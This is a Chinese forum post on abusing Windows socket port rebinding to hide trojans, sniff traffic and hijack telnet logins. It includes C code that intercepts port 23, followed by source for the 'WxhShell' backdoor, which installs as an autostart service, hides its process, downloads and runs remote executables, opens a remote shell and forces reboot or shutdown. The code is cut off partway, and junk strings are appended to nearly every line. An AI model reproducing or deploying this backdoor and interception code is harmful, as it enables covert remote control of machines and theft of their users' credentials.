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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 55AG>j&41  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :9)>!+|'  
9KP+  
  saddr.sin_family = AF_INET; &K7g8x"x.  
Cjd +\7#G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j/W#=\xz  
5/(Dh![l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lmod8B  
"XH]B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OLiYjYd  
> 4^U=T#  
  这意味着什么?意味着可以进行如下的攻击: j;'NJ~NZ$  
gK PV*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s_]rje8`  
2^juLXc|R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _x:K%1_[  
{d3r>Ub)7d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ar\`OhR  
1mB6rp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gU 8'7H2  
m1frN#3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h;B'#$_  
#)\KV7f! ;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ";GLX%C!{@  
Y!SD^Ie7!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *zmbo >{(  
'; qT  
  #include v"s}7trWV  
  #include  u2DsjaL  
  #include \Q#F&q0  
  #include    ){6;o& CC:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KLoHjBq  
  int main() H6~QSe0l  
  {  Im#3sn  
  WORD wVersionRequested; f+)F-3  
  DWORD ret; 4u /?..L.  
  WSADATA wsaData; Q.5a"(d@  
  BOOL val; VJ wzYl   
  SOCKADDR_IN saddr; 94n,13  
  SOCKADDR_IN scaddr; (5atU |8r  
  int err; )`L!eN  
  SOCKET s; ArF+9upGY  
  SOCKET sc; WJ mj|$D  
  int caddsize; +pDuRr  
  HANDLE mt; Q:%gJ6pa  
  DWORD tid;   d`2VbZC`  
  wVersionRequested = MAKEWORD( 2, 2 ); 7=JiL=  
  err = WSAStartup( wVersionRequested, &wsaData ); 1W; +hXx  
  if ( err != 0 ) { vuD tEz  
  printf("error!WSAStartup failed!\n"); a1s=t_wT  
  return -1; Ar>-xCT D  
  } T6{IuQjXs  
  saddr.sin_family = AF_INET; fIFB"toiPE  
   ty(F;M(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ha;^U/0|  
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  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9 =hA#t.#  
  saddr.sin_port = htons(23); z<)?8tAgq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ==c\* o  
  { Rh: \/31~  
  printf("error!socket failed!\n"); -N9U lW2S  
  return -1; Yj;$hV8j(  
  } u0N1+-6kr+  
  val = TRUE; \+ K ^G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xH*OEzN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &L+u]&!6C  
  { {-H6Z#b[  
  printf("error!setsockopt failed!\n"); ZJd1Lx   
  return -1; #O G_O I  
  } tV%M2 DxS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rjfQ\W;}U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tR*J M$T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sgFpZk  
xpUaFb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :0V<  
  { \u:xDS(  
  ret=GetLastError(); ~,dj)x 3M  
  printf("error!bind failed!\n"); :fo%)_Jc!  
  return -1; /G\-v2iD  
  } R$NH [Tz  
  listen(s,2); O+c@B}[!  
  while(1) ]yA| m3^2  
  { .~C*7_  
  caddsize = sizeof(scaddr); q1Ah!9B  
  //接受连接请求 OyFBM>6gh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +d]}  
  if(sc!=INVALID_SOCKET) 8!E$0^)c|  
  { Fj -mo>"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @yqy$I   
  if(mt==NULL) !PJ;d)\T  
  { E WOn"   
  printf("Thread Creat Failed!\n"); J*qepq`_  
  break; Q:lSKf  
  } ,Rz,[KI|  
  } /6b(w=pk  
  CloseHandle(mt); :,6dW?mun6  
  } eQJLyeR+  
  closesocket(s); ~cQP4 kBD]  
  WSACleanup(); }G_ i+  
  return 0; w=y!|F  
  }   ^pAqe8u_  
  DWORD WINAPI ClientThread(LPVOID lpParam) j=M_>  
  { 3]M YH b  
  SOCKET ss = (SOCKET)lpParam; !uy?]l  
  SOCKET sc; ngn%"xYX  
  unsigned char buf[4096]; yUqvF6+26  
  SOCKADDR_IN saddr; 'R99kL/.N  
  long num; ;"wU+  
  DWORD val; wlmi&kq  
  DWORD ret; No!P?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *!Vic#D%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B$_F)2%m;  
  saddr.sin_family = AF_INET; VNx}ADXu]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a:7"F{D91  
  saddr.sin_port = htons(23); %t`a-m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &(IL`%  
  { j"yL6Q9P  
  printf("error!socket failed!\n"); S\MD]>4  
  return -1; Yk6fr~b  
  } \bZbz/+D  
  val = 100; X_ !Sm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wwmMpK}f  
  { 3JWHyo  
  ret = GetLastError(); av&dGsFP  
  return -1; 84cmPnaT  
  } #$e~ o}(r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &B/cy<;y,  
  { TJ ;4QL  
  ret = GetLastError(); Wi'BX#xCB  
  return -1; M%1-fd  
  } !D7 [R'RgY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '[{M"S  
  { N|WnUlf]:  
  printf("error!socket connect failed!\n"); n)8bkcZCp+  
  closesocket(sc); U"<Z^)  
  closesocket(ss); 1W "9u   
  return -1; ak;fCx&  
  } 4qrPAt  
  while(1) -~p@o1k0  
  { HEhdV5B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z"mpE+U*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7E%ehM6Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ec)G~?FH  
  num = recv(ss,buf,4096,0); eN,s#/ip]  
  if(num>0) iS hB ^  
  send(sc,buf,num,0); ]9]3=;b>  
  else if(num==0) iePpJ>(  
  break; |&o1i~Y  
  num = recv(sc,buf,4096,0); 4&R\6!*s  
  if(num>0) 1x V~EX  
  send(ss,buf,num,0);  /e!/  
  else if(num==0) L`V6\Ix(I  
  break; wGBQ.Ve[  
  } $xvEYK  
  closesocket(ss); )Mi #{5z  
  closesocket(sc); .[+8D=  
  return 0 ; fFqK.^Tn  
  } ~lzV=c$t  
lF 8B+  
ST'L \yebc  
========================================================== D@"q2 !  
%$:js4  
下边附上一个代码,,WXhSHELL ePrb G4xv  
Fu^^Jex  
==========================================================  i/y+kL  
VCX})sp  
#include "stdafx.h" |/]bpG'z  
YM1tP'4j@  
#include <stdio.h> nx $?wxIm  
#include <string.h> H) m!)=\'  
#include <windows.h> bqS*WgMY-  
#include <winsock2.h> *O$kF.3q  
#include <winsvc.h> `Rm2G  
#include <urlmon.h> V<\:iNXX{  
h7~&rWb  
#pragma comment (lib, "Ws2_32.lib") ?$ Uk[  
#pragma comment (lib, "urlmon.lib") Q5Y4@  
8T&m{s  
#define MAX_USER   100 // 最大客户端连接数 bO9F rEz5  
#define BUF_SOCK   200 // sock buffer #v89`$#`2  
#define KEY_BUFF   255 // 输入 buffer 5u~Ik c~  
[ }jSx]  
#define REBOOT     0   // 重启 VE wv22'  
#define SHUTDOWN   1   // 关机 IE|x+RBD  
G"O %u|7  
#define DEF_PORT   5000 // 监听端口 @H]g_yw [:  
o-("S|A-  
#define REG_LEN     16   // 注册表键长度 ZT"?W $  
#define SVC_LEN     80   // NT服务名长度 bpzB}nEp  
:>F:G%(DK  
// 从dll定义API QEQ8gfN9>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yXg783B|v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7EI(7:gOn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4w*F!E2H\}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E4T?8TO$o%  
/(W{`  
// wxhshell配置信息 zc*qmb  
struct WSCFG { \X Nb9-  
  int ws_port;         // 监听端口 AWh{dM  
  char ws_passstr[REG_LEN]; // 口令 O<L /m[]  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6X7r=w  
  char ws_regname[REG_LEN]; // 注册表键名 zp% MK+x  
  char ws_svcname[REG_LEN]; // 服务名 D7sw;{ns  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <saS2.4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W=GNo9:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /n@_Ihx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 87YT;Z;U&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bsP:tFw>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X xB*lX  
` *$^rQS  
}; $daI++v`  
w{I60|C]*  
// default Wxhshell configuration i:qc2#O:J  
struct WSCFG wscfg={DEF_PORT, PM[6U#  
    "xuhuanlingzhe", zw\"!=r^  
    1, \ 8ulX>]  
    "Wxhshell", nFw&vR/q  
    "Wxhshell", @2YO_rL[  
            "WxhShell Service", B?#@<2*=L  
    "Wrsky Windows CmdShell Service", ""d3ownKhw  
    "Please Input Your Password: ", ] A<\ d  
  1, UrN$nhH  
  "http://www.wrsky.com/wxhshell.exe", 0t/S_Q  
  "Wxhshell.exe" ZS^EKz~+  
    }; b]hRmW  
SDA +XnmH  
// 消息定义模块 *`|.:'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %QwMB`x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ndF Kw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0kmVP~K  
char *msg_ws_ext="\n\rExit."; 'ZL)-kbI  
char *msg_ws_end="\n\rQuit."; /3FC@?l w4  
char *msg_ws_boot="\n\rReboot..."; "%,zB_ng\<  
char *msg_ws_poff="\n\rShutdown..."; zT!JHG  
char *msg_ws_down="\n\rSave to "; x*Z"~'DI  
BIw9@.99B-  
char *msg_ws_err="\n\rErr!"; 0ZkA .p  
char *msg_ws_ok="\n\rOK!"; X+P3a/T  
KXicy_@DC`  
char ExeFile[MAX_PATH]; w`F}3zm  
int nUser = 0; :S~XE  
HANDLE handles[MAX_USER]; EBK\.[  
int OsIsNt; Vu~mi%UH  
rh$%*l  
SERVICE_STATUS       serviceStatus; }I05&/o.3p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yw?%>L  
QL_bg:hs  
// 函数声明 ~|l>bf  
int Install(void); *Z)`:Gae  
int Uninstall(void); 7F)HAbIS  
int DownloadFile(char *sURL, SOCKET wsh); #G)ZhgB^  
int Boot(int flag); BO/2kL8*  
void HideProc(void); s7a\L=#p(  
int GetOsVer(void); *( D_g!a  
int Wxhshell(SOCKET wsl); 9)l[$X  
void TalkWithClient(void *cs); UL"Jwq D  
int CmdShell(SOCKET sock); eR8h4M~O  
int StartFromService(void); ?%oPWmj}  
int StartWxhshell(LPSTR lpCmdLine); zzq/%jki  
&qrH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `(*5yXC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &W".fRH_O  
G>*s+  
// 数据结构和表定义 U{i9h6b"18  
SERVICE_TABLE_ENTRY DispatchTable[] = CO4*"~']t  
{ T][\wyLx1  
{wscfg.ws_svcname, NTServiceMain}, 'T+3tGCy+  
{NULL, NULL} XXxX;xz$  
}; H^'*F->BA  
0o`0Td  
// 自我安装 '3%!Gi!g  
int Install(void) Z{u*vUC&  
{ pX6OhwkTK  
  char svExeFile[MAX_PATH]; i1|-  
  HKEY key; )0qXZ gs  
  strcpy(svExeFile,ExeFile); V 1#/ +~  
QJOP*<O  
// 如果是win9x系统,修改注册表设为自启动 D/@:wY  
if(!OsIsNt) { )M'#l<9B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RFQa9Rxk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {PYN3\N,  
  RegCloseKey(key); P%%Cd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mxP{"6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7&m*: J  
  RegCloseKey(key); NoDq4>   
  return 0; -pa.-@  
    } @36^4E>h  
  } U/|B IF  
} `~pB1sS{  
else { 8l;0)`PU  
NTgk0cq  
// 如果是NT以上系统,安装为系统服务 gt{ei)2b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); So0YvhZ+  
if (schSCManager!=0) :~U1JAs$  
{ IxgnZX4N  
  SC_HANDLE schService = CreateService F N(&3Ull  
  ( B>AIec\jG  
  schSCManager, B3XVhUP  
  wscfg.ws_svcname, 3cQTl5,  
  wscfg.ws_svcdisp, h/eKVRGs"  
  SERVICE_ALL_ACCESS, bpKMQrwd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6Y\9h)1Jo  
  SERVICE_AUTO_START, 'fawpU|h  
  SERVICE_ERROR_NORMAL, Dzc 4J66  
  svExeFile, * C's7O{O  
  NULL, B'atwgI0  
  NULL, 49Ht I9@  
  NULL, SZvw>=)a  
  NULL, "wexG]R=5  
  NULL mxGvhkj  
  ); -[Zau$;J<  
  if (schService!=0) N|7<*\o  
  { e`#Gq0}8  
  CloseServiceHandle(schService); %#ms`"H  
  CloseServiceHandle(schSCManager); E62VuX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YN"102CK  
  strcat(svExeFile,wscfg.ws_svcname); Jg;Hg[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "LXLUa03  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R0*DfJS:Z  
  RegCloseKey(key); ,MOB+i(3*u  
  return 0; MH{vFA4:,  
    } kD MS7y<s  
  } I%{^i d@  
  CloseServiceHandle(schSCManager); ^D oJ='&  
} AVNB)K"  
} K2:r7f  
!Me%W3  
return 1; ot(|t4^  
} pPG!{:YT  
$`_(%tl  
// 自我卸载 bs%]xf ~D;  
int Uninstall(void) 3S'V>:  
{ EsA^P2?_+  
  HKEY key; Y k~ i.p  
Er{[83  
if(!OsIsNt) { &\C vrxa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ldir'FW  
  RegDeleteValue(key,wscfg.ws_regname); j cx/ZR  
  RegCloseKey(key); as o8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <uv{/L b  
  RegDeleteValue(key,wscfg.ws_regname); >SfC '*1  
  RegCloseKey(key);  w8FZXL  
  return 0;  \2eYw.I=  
  } 0#Rj[J;kh  
} \ov>?5  
} 9n8;eE08  
else { mn0QVkb}lc  
iP' }eQn]c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UPN2p&gM  
if (schSCManager!=0) BIV]4vl-&  
{ mpr["C"l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X<-]./  
  if (schService!=0) 2(`2f  
  { b2p<!?  
  if(DeleteService(schService)!=0) { B*DH^";t  
  CloseServiceHandle(schService); <!DOCvd  
  CloseServiceHandle(schSCManager); a[9;Okm #  
  return 0; z^B!-FcIz>  
  } z:< (b   
  CloseServiceHandle(schService); c%uhQ 62  
  } G*J(4~Yw}  
  CloseServiceHandle(schSCManager);  pLyX9C  
} 3t%uUkXl  
} $I1p"6  
}$ AC0  
return 1; rR C3^X`u  
} 39~fP)  
{-17;M $  
// 从指定url下载文件 JmN;v|wF:c  
int DownloadFile(char *sURL, SOCKET wsh) _MMz x2}  
{ y)(SS8JR  
  HRESULT hr; ap;UxWqx  
char seps[]= "/"; rZpc"<U  
char *token; uc7Y8iO  
char *file; ?cg+RNI  
char myURL[MAX_PATH]; vv%Di.V  
char myFILE[MAX_PATH]; #axRg=d?K  
o_\b{<^I  
strcpy(myURL,sURL); ?pQ, 5+8  
  token=strtok(myURL,seps); Jw {:1  
  while(token!=NULL) {v]>sn;P1  
  { 2ix_,yTO  
    file=token; jv_sRV  
  token=strtok(NULL,seps); &BE[=& |  
  } ]$*N5Y  
uVisU%p  
GetCurrentDirectory(MAX_PATH,myFILE); bWMM[pnL  
strcat(myFILE, "\\"); p1Lx\   
strcat(myFILE, file); < W&~tVv  
  send(wsh,myFILE,strlen(myFILE),0); F7"Ihb^l  
send(wsh,"...",3,0); n\cP17dr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dYr#  
  if(hr==S_OK) 53(m9YLk  
return 0; E,C<ox4e  
else 7Uj[0Awn  
return 1; 5~.\rcr%  
rxDule3m  
} @H{$,\\  
(Yw5X_|  
// 系统电源模块 Rbr vY  
int Boot(int flag) }#yRa Ip  
{ pr;L~$JW  
  HANDLE hToken; #Q$4EQB  
  TOKEN_PRIVILEGES tkp; ^k-H$]  
3q1O:b^eo  
  if(OsIsNt) { ;j/ur\37  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I=3q#^}[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1W/= =+%I  
    tkp.PrivilegeCount = 1; S?8q.59  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,#"AWQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /pyKTZ|  
if(flag==REBOOT) { gV`:eNo*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Zn9w1ev  
  return 0; k)4|%  
} FG8bP  
else { X=.+XP]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M#|TQa N  
  return 0; t*D[Q$v  
} Z;n}*^U  
  } >ueJ+sgH  
  else { `*N0 Lbl]  
if(flag==REBOOT) { IGB>8$7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CMF1<A4]  
  return 0; b1 KiO2 E  
} %@r h\Z  
else { @u$oqjK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o oS4F1ta  
  return 0; _nTjCN625  
} M_XZOlW5  
} *2>%>qu  
+ S%+Ku  
return 1; m' aakq  
} U2Ur N?T  
eg,S(;VEt  
// win9x进程隐藏模块 # =322bnO  
void HideProc(void) 2ag]p  
{ chiQ+  
riBT5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zBoU;d%p>  
  if ( hKernel != NULL ) bMv9f J  
  { 5Y,e}+I>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `9wz:s QtP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p@Qzg /X  
    FreeLibrary(hKernel); c?opVbJB\  
  } TY88PXW  
IC{>q3  
return; <"\K|2Sg  
} D!X{9q}S1  
RCmPZ  
// 获取操作系统版本 EG1SIEo  
int GetOsVer(void) 5-C6;7%:  
{ d-?~O~qD|!  
  OSVERSIONINFO winfo; {?j|]j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h{h=',o1  
  GetVersionEx(&winfo); J%[K;WjrZJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z4(2&t^  
  return 1; kQH!`-n:T  
  else e~-D k .i  
  return 0; -({\eL$n  
} jV7q)\uu^  
f?{Y<M~]  
// 客户端句柄模块 wIY#TBu  
int Wxhshell(SOCKET wsl) HSUr  
{ fqr}tvMr=T  
  SOCKET wsh; g`Rs;  
  struct sockaddr_in client; HQE#O4  
  DWORD myID; !~mN"+u&  
yx}:Sgv%  
  while(nUser<MAX_USER) -9Can4  
{ "~+K`*0r8  
  int nSize=sizeof(client); ^L'K?o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '/"(`f,  
  if(wsh==INVALID_SOCKET) return 1; ):\ pD]e  
7"QcvV@p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qQom=x  
if(handles[nUser]==0) p,4z;.s$  
  closesocket(wsh); |Jq/kmn  
else d+IPa<N  
  nUser++; ck@[% ?  
  } R]r~TJ o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {<]abO  
d)0%|yX6  
  return 0; /stED{j,  
} ]c5Shj5|p  
`#(4K4]1.  
// 关闭 socket gr S,PKH  
void CloseIt(SOCKET wsh) .:;i*  
{ nBD7  
closesocket(wsh); [lnN~#(Y  
nUser--; x7*}4>|W,I  
ExitThread(0); 59ivL6=3  
} $6J5yE  
I#,,h4C  
// 客户端请求句柄 dE^'URBiA  
void TalkWithClient(void *cs) wJgM.V"yb  
{ w?/,LV  
<D 5QlAN  
  SOCKET wsh=(SOCKET)cs; MdyH/.Te  
  char pwd[SVC_LEN]; gz88$BT  
  char cmd[KEY_BUFF]; =]^* -f}J9  
char chr[1]; '}OrFN  
int i,j; ,wFLOfV@  
H ,?MG  
  while (nUser < MAX_USER) { -kJF@w6u  
~f@;.  
if(wscfg.ws_passstr) { d_yqmx?w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zJV4)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +&t{IP(?  
  //ZeroMemory(pwd,KEY_BUFF); MKH7d/x  
      i=0; }tJ:-!*2  
  while(i<SVC_LEN) { ybB}|4d&   
@4Y>)wn&;  
  // 设置超时 [&39Yv.k,7  
  fd_set FdRead; +FJ o!~1  
  struct timeval TimeOut; d82IEhZ#  
  FD_ZERO(&FdRead); ;j(xrPNb  
  FD_SET(wsh,&FdRead); l/1uP  
  TimeOut.tv_sec=8;  10DS  
  TimeOut.tv_usec=0; aE;!mod  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Oa7W&wi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xWlB!r<}Gz  
'LX=yL]I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #{]=>n)j  
  pwd=chr[0]; O ,DX%wk,  
  if(chr[0]==0xd || chr[0]==0xa) { M 35}5+  
  pwd=0; PffwNj/l  
  break; @ce4sSo  
  } sC}/?^q  
  i++; hQk mB|];5  
    } )pzXC  
H)4Rs~;{'g  
  // 如果是非法用户,关闭 socket CsE|pXVG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vWgh?h/ot  
} cJty4m-  
tG{Vn+~/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (* 2"dd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P]y5E9 k  
FTB"C[>  
while(1) { :b ;5O3:B  
f.u{;W  
  ZeroMemory(cmd,KEY_BUFF); fW\u*dMMZE  
^oP]@r"qy  
      // 自动支持客户端 telnet标准   }x8fXdd  
  j=0; gVuN a)  
  while(j<KEY_BUFF) { nU`;MW/^w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8G@FX $$Q  
  cmd[j]=chr[0]; UjfB+=7I{L  
  if(chr[0]==0xa || chr[0]==0xd) { $iB(N ZV  
  cmd[j]=0; )45,~+XX  
  break; AHLDURv  
  } gF:wdcO  
  j++; YvU#)M_h  
    } )dvOg'it  
h&Sl8$jVp  
  // 下载文件 kiECJ@5p  
  if(strstr(cmd,"http://")) { T<ua0;7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eygyVhJ  
  if(DownloadFile(cmd,wsh)) Z uE 0'9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .)o5o7H  
  else j9qN!.~mM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LRmO6>y  
  } ,iHt*SZ,*  
  else { SHaZ-d  
?K]k(ZV_+Y  
    switch(cmd[0]) { zzxU9m~"  
  X(1.Hjh  
  // 帮助 7eO8cPy  
  case '?': { BE U[M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k{;:KW|  
    break; UC0 yrV  
  } $~2A o[  
  // 安装 m760K*:i\  
  case 'i': { _,'UP>Si  
    if(Install()) FqiK}K.~/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7z$+ *]9-  
    else Fl O%O D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]F_u  
    break; ql zL<  
    }  Wi|.Z/  
  // 卸载 ;P{ *'@  
  case 'r': { HgMDw/D(  
    if(Uninstall()) v14[G@V~\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^=@%@mR/[C  
    else qR1ez-#K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N0XGW_f  
    break; `j2z=5  
    } $L&*0$[]Q  
  // 显示 wxhshell 所在路径 M\GS&K$lq  
  case 'p': { }skXh_Vu4  
    char svExeFile[MAX_PATH]; q80?C.,`  
    strcpy(svExeFile,"\n\r"); SQHV gj  
      strcat(svExeFile,ExeFile); }{ P}P}  
        send(wsh,svExeFile,strlen(svExeFile),0); abF_i#  
    break; QOOBCNe  
    } RS93_F8   
  // 重启 |_A35"v  
  case 'b': { ;^xku%u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yb]a p  
    if(Boot(REBOOT)) d2(n3Xf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e]5QqM7  
    else { n. T [a  
    closesocket(wsh); ]02V,'x  
    ExitThread(0);  /f2*J  
    } .$r(":A#)  
    break; p'R}z|d)  
    } [[)HPHSQ  
  // 关机 KUp lN1Sy  
  case 'd': { "B\qp"N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PeG8_X}u9  
    if(Boot(SHUTDOWN)) } o=g)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d) > if<o  
    else { +XQS -=  
